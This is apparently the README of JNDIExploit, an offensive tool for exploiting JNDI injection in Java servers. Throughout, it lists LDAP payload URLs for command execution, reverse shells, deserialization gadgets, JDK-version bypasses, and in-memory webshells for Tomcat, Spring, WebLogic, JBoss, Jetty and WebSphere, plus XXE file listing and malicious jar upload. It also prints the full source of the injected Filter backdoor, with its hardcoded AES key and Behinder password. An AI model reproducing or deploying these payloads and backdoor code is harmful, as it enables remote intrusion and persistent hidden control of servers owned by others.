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feihong committed Nov 21, 2020
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# JNDIExploit
一款用于 ```JNDI注入``` 利用的工具,大量参考/引用了 ```Rogue JNDI``` 项目的代码,支持直接```植入内存shell```,并集成了常见的```bypass 高版本JDK```的方式,适用于与自动化工具配合使用。

## 使用说明

使用 ```java -jar JNDIExploit.jar -h``` 查看参数说明,其中 ```--ip``` 参数为必选参数

```
Usage: java -jar JNDIExploit.jar [options]
Options:
* -i, --ip Local ip address
-l, --ldapPort Ldap bind port (default: 1389)
-p, --httpPort Http bind port (default: 8080)
-u, --usage Show usage (default: false)
-h, --help Show this help
```

使用 ```java -jar JNDIExploit.jar -u``` 查看支持的 LDAP 格式
```
Supported LADP Queries
* all words are case INSENSITIVE when send to ldap server
[+] Basic Queries: ldap://127.0.0.1:1389/Basic/[PayloadType]/[Params], e.g.
ldap://127.0.0.1:1389/Basic/Dnslog/[domain]
ldap://127.0.0.1:1389/Basic/Command/[cmd]
ldap://127.0.0.1:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://127.0.0.1:1389/Basic/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://127.0.0.1:1389/Basic/TomcatMemshell
ldap://127.0.0.1:1389/Basic/JettyMemshell
ldap://127.0.0.1:1389/Basic/WeblogicMemshell
ldap://127.0.0.1:1389/Basic/JBossMemshell
ldap://127.0.0.1:1389/Basic/WebsphereMemshell
ldap://127.0.0.1:1389/Basic/SpringMemshell
[+] Deserialize Queries: ldap://127.0.0.1:1389/Deserialize/[GadgetType]/[PayloadType]/[Params], e.g.
ldap://127.0.0.1:1389/Deserialize/URLDNS/[domain]
ldap://127.0.0.1:1389/Deserialize/CommonsCollections1/Dnslog/[domain]
ldap://127.0.0.1:1389/Deserialize/CommonsCollections2/Command/[cmd]
ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils1/Command/Base64/[base64_encoded_cmd]
ldap://127.0.0.1:1389/Deserialize/C3P0/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://127.0.0.1:1389/Deserialize/Jre8u20/TomcatMemshell ---ALSO support other memshells
[+] TomcatBypass Queries
ldap://127.0.0.1:1389/TomcatBypass/Dnslog/[domain]
ldap://127.0.0.1:1389/TomcatBypass/Command/[cmd]
ldap://127.0.0.1:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
ldap://127.0.0.1:1389/TomcatBypass/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://127.0.0.1:1389/TomcatBypass/TomcatMemshell
ldap://127.0.0.1:1389/TomcatBypass/SpringMemshell
[+] GroovyBypass Queries
ldap://127.0.0.1:1389/GroovyBypass/Command/[cmd]
ldap://127.0.0.1:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd]
[+] WebsphereBypass Queries
ldap://127.0.0.1:1389/WebsphereBypass/List/file=[file or directory]
ldap://127.0.0.1:1389/WebsphereBypass/Upload/Dnslog/[domain]
ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/[cmd]
ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]
ldap://127.0.0.1:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://127.0.0.1:1389/WebsphereBypass/Upload/WebsphereMemshell
ldap://127.0.0.1:1389/WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp
```
* 目前支持的所有 ```PayloadType```
* ```Dnslog```: 用于产生一个```DNS```请求,与 ```DNSLog```平台配合使用,对```Linux/Windows```进行了简单的适配
* ```Command```: 用于执行命令,如果命令有特殊字符,支持对命令进行 ```Base64编码```后传输
* ```ReverseShell```: 用于 ```Linux``` 系统的反弹shell,方便使用
* ```TomcatMemshell```: 用于植入```Tomcat内存shell```, 支持```Behinder shell``````Basic cmd shell```
* ```SpringMemshell```: 用于植入```Spring内存shell```, 支持```Behinder shell``````Basic cmd shell```
* ```WeblogicMemshell```: 用于植入```Weblogic内存shell```, 支持```Behinder shell``````Basic cmd shell```
* ```JettyMemshell```: 用于植入```Jetty内存shell```, 支持```Behinder shell``````Basic cmd shell```
* ```JBossMemshell```: 用于植入```JBoss内存shell```, 支持```Behinder shell``````Basic cmd shell```
* ```WebsphereMemshell```: 用于植入```Websphere内存shell```, 支持```Behinder shell``````Basic cmd shell```
* 目前支持的所有 ```GadgetType```
* ```URLDNS```
* ```CommonsBeanutis1```
* ```CommonsCollections1```
* ```CommonsCollections2```
* ```C3P0```
* ```Jre8u20```
* ```WebsphereBypass``` 中的 3 个动作:
* ```list```:基于```XXE```查看目标服务器上的目录或文件内容
* ```upload```:基于```XXE``````jar协议```将恶意```jar包```上传至目标服务器的临时目录
* ```rce```:加载已上传至目标服务器临时目录的```jar包```,从而达到远程代码执行的效果(这一步本地未复现成功,抛```java.lang.IllegalStateException: For application client runtime, the client factory execute on a managed server thread is not allowed.```异常,有复现成功的小伙伴麻烦指导下)

## ```内存shell```说明
* 采用动态添加 ```Filter/Controller```的方式,并将添加的```Filter```移动至```FilterChain```的第一位
* ```内存shell``` 的兼容性测试结果请参考 [memshell](https://github.com/feihong-cs/memShell) 项目
* ```Basic cmd shell``` 的访问方式为 ```/anything?type=basic&pass=[cmd]```
* ```Behinder shell``` 的访问方式需要修改```冰蝎```客户端(请参考 [冰蝎改造之适配基于tomcat Filter的无文件webshell](https://mp.weixin.qq.com/s/n1wrjep4FVtBkOxLouAYfQ) 的方式二自行修改),并在访问时需要添加 ```X-Options-Ai``` 头部,密码为```rebeyond```

植入的 Filter 代码如下:
```
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("[+] Dynamic Filter says hello");
String k;
Cipher cipher;
if (servletRequest.getParameter("type") != null && servletRequest.getParameter("type").equals("basic")) {
k = servletRequest.getParameter("pass");
if (k != null && !k.isEmpty()) {
cipher = null;
String[] cmds;
if (File.separator.equals("/")) {
cmds = new String[]{"/bin/sh", "-c", k};
} else {
cmds = new String[]{"cmd", "/C", k};
}
String result = (new Scanner(Runtime.getRuntime().exec(cmds).getInputStream())).useDelimiter("\\A").next();
servletResponse.getWriter().println(result);
}
} else if (((HttpServletRequest)servletRequest).getHeader("X-Options-Ai") != null) {
try {
if (((HttpServletRequest)servletRequest).getMethod().equals("POST")) {
k = "e45e329feb5d925b";
((HttpServletRequest)servletRequest).getSession().setAttribute("u", k);
cipher = Cipher.getInstance("AES");
cipher.init(2, new SecretKeySpec((((HttpServletRequest)servletRequest).getSession().getAttribute("u") + "").getBytes(), "AES"));
byte[] evilClassBytes = cipher.doFinal((new BASE64Decoder()).decodeBuffer(servletRequest.getReader().readLine()));
Class evilClass = (Class)this.myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke((Object)null, evilClassBytes, Thread.currentThread().getContextClassLoader());
Object evilObject = evilClass.newInstance();
Method targetMethod = evilClass.getDeclaredMethod("equals", ServletRequest.class, ServletResponse.class);
targetMethod.invoke(evilObject, servletRequest, servletResponse);
}
} catch (Exception var10) {
var10.printStackTrace();
}
} else {
filterChain.doFilter(servletRequest, servletResponse);
}
}
```

## 参考
* https://github.com/veracode-research/rogue-jndi
* https://github.com/welk1n/JNDI-Injection-Exploit
* https://github.com/welk1n/JNDI-Injection-Bypass

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